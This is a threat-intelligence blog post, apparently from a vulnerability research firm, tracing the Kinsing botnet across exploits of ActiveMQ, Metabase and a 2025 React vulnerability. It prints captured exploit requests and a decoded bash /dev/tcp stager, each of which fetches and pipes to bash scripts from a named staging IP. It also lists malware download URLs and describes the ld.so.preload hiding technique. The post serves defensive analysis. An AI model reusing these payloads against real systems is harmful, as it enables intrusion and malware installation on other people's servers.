Our Canary Intelligence team was analyzing attacker infrastructure clustering when we had two epiphanies. The first was that the RondoDox botnet needs to calm the fuck down. You’re all over the place, and you need to stop naming your stuff after poop. At least try to act like you have a clue, ok?
The second, and more useful, was that Kinsing had surfaced in our canary network.
Our clustering grouped three CVEs around a shared set of Kinsing infrastructure. The first two, CVE-2023-46604 (ActiveMQ) and CVE-2023-38646 (Metabase), are well-known Kinsing exploit paths documented by Trend Micro and Sekoia. In our canary network, exploitation from the Kinsing attacker node, 212.113.98.30, began on March 12, 2026, and converged on the same staging host, 78.153.140.16.
Kinsing exploitation of CVE-2023-38646:
POST /api/setup/validate HTTP/1.1
Host: VC_REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 573
Content-Type: application/json
Accept-Encoding: gzip
{
"token": "9b29cb2d-286a-4374-a0a8-11e10b2aaf7b",
"details": {
"details": {
"subprotocol": "h2",
"classname": "org.h2.Driver",
"advanced-options": true,
"subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('(curl -s 78.153.140.16/mt.sh||wget -q -O- 78.153.140.16/mt.sh)|bash');"
},
"name": "x",
"engine": "postgres"
}
}
Kinsing exploitation of CVE-2023-46604:
...o.............Borg.springframework.context.support.ClassPathXmlApplicationContext...http://78.153.140.16/acb.xml
As shown above, the Metabase exploitation path retrieves http://78.153.140.16/mt.sh, while the ActiveMQ path retrieves http://78.153.140.16/acb.xml.
Fetching mt.sh, we found a script exactly as described in Fortinet’s July 2025 Kinsing writeup. The script includes distinctive and exhausting lists of processes to kill and crontab entries to overwrite. More importantly, it downloads the core Kinsing components:
BIN_MD5="b3039abf2ad5202f4a9363b418002351"
BIN_DOWNLOAD_URL="http://78.153.140.16/kinsing"
BIN_DOWNLOAD_URL2="http://78.153.140.16/kinsing"
CURL_DOWNLOAD_URL="http://78.153.140.16/curl-amd64"
SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://78.153.140.16/libsystem.so"
SO_DOWNLOAD_URL2="http://78.153.140.16/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"
What mt.sh downloads and installs is classic Kinsing. The main payload, kinsing, is a Go-based Linux binary. libsystem.so is the nastier bit. Multiple sources describe Kinsing installing libsystem.so and registering it in /etc/ld.so.preload, which allows the malware to hide files and network activity inside normal user-space processes, exactly as mt.sh does here. That means this script is not just dropping an old bot. It is dropping the familiar Kinsing combination of payload, persistence, and stealth.
At this point, the Canary Intelligence team saw the Metabase and ActiveMQ activity as the return of Kinsing on fresh infrastructure. What made the cluster even more interesting was that Kinsing had one more CVE to add: CVE-2025-55182 (React2Shell).
We can tie this activity to Kinsing because the attacker IP, 212.113.98.30, is the same address we observed exploiting CVE-2023-46604 and CVE-2023-38646, both of which led to the same staging infrastructure at 78.153.140.16.
For brevity, we focus here on the command-execution portion of the CVE-2025-55182 payload. Using the vulnerability’s JavaScript execution primitive, Kinsing invokes child_process.execSync(...) to decode and run the following bash stager.
process.mainModule.require('child_process').execSync('echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKX19jdXJsIGh0dHA6Ly83OC4xNTMuMTQwLjE2L3JlLnNofGJhc2g=|base64 -d|bash')
For readability, the base64-decoded stager is shown below.
#!/bin/bash
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
__curl http://78.153.140.16/re.sh|bash
The stager is crude, but effective. Instead of relying on host utilities like curl or wget, it uses bash’s /dev/tcp subsystem to fetch re.sh directly from 78.153.140.16 and execute it in memory. That is the important part: CVE-2025-55182 exploitation points to the same staging infrastructure. When we compared re.sh to the other Kinsing stagers in this cluster, the differences were minimal. In other words, there was nothing new here. This was just another tool in the Kinsing toolbox.
This is exactly the kind of clustering Canary Intelligence is good at surfacing. Exploitation of CVE-2023-46604, CVE-2023-38646, and CVE-2025-55182 all led back to the same infrastructure. If nothing else, it is a reminder that older malware families do not need new binaries to stay relevant. Sometimes they just need one more CVE.
VulnCheck’s research team tracks real-world exploitation, attacker infrastructure, and exploit workflows using our Canary Intelligence, Exploit & Vulnerability Intelligence (EVI), and IP Intelligence datasets. For more research like this check out our blogs, Frost Checks First, The Mystery OAST Host Behind a Regionally Focused Exploit Operation, and XWiki Under Increased Attack.
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.
